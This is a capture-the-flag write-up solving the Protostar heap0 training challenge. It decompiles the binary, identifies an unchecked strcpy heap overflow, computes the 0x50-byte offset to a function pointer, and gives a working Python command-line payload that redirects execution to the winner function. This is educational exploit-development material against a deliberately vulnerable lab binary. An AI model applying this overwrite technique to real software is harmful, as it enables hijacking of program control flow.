protostar heap 0
Let's take a look at the binary. Also this challenge is a bit different from the others, the goal is to run the winner
function. Also I recompiled this challenge from source:
$ file heap0
heap0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=ca0d25fb47b05e42811810bf08e5376b33f64501, not stripped
$ pwn checksec heap0
[*] '/Hackery/pod/modules/heap_overflow/protostart_heap0/heap0'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./heap0
data is at 0x56fde160, fp is at 0x56fde1b0
Segmentation fault (core dumped)
$ ./heap0 15935728
data is at 0x56c08160, fp is at 0x56c081b0
level has not been passed
So we can see it prints out what looks like two heap addresses, and takes in input as an argument. In addition to that we see that there is no PIE, and it is a 32 bit binary. When we take a look at the main function in Ghidra, we see this:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(undefined4 param_1,int param_2)
{
char *ptr0;
undefined **ptr1;
ptr0 = (char *)malloc(0x40);
ptr1 = (undefined **)malloc(4);
*(code **)ptr1 = nowinner;
printf("data is at %p, fp is at %p\n",ptr0,ptr1);
strcpy(ptr0,*(char **)(param_2 + 4));
(*(code *)*ptr1)();
return 0;
}
So we can see a few things. First that it allocates two separate heap chunks, one 0x40
bytes big and the other just 4
bytes (ptr0
and ptr1
). Then it sets ptr1
equal to the function nowinner
. After that it prints the value of ptr0
and ptr1
(so that is where our two heap addresses come from). Proceeding that it copies over the input we gave it via an argument to ptr0
, however doesn't check for an overflow. This gives us a heap overflow bug. Proceeding that it executes the address pointed to by ptr1
.
So we have an overflow. With it we will use it to overwrite the value of ptr1
to be that of the winner
function. When we ran it, we can see that ptr0
was at 0x56c08160
and ptr1
was at 0x56c081b0
(for the second iteration of running it). So after 0x56c081b0 - 0x56c08160 = 0x50
bytes of space between the start of our input and the instruction pointer stored in ptr1
. Next we need the address of winner
:
$ objdump -D heap0 | grep winner
080484b6 <winner>:
080484e1 <nowinner>:
With that, we have everything we need to solve the challenge:
$ ./heap0 `python -c 'print "0"*0x50 + "\xb6\x84\x04\x08"'`
data is at 0x98ac160, fp is at 0x98ac1b0
level passed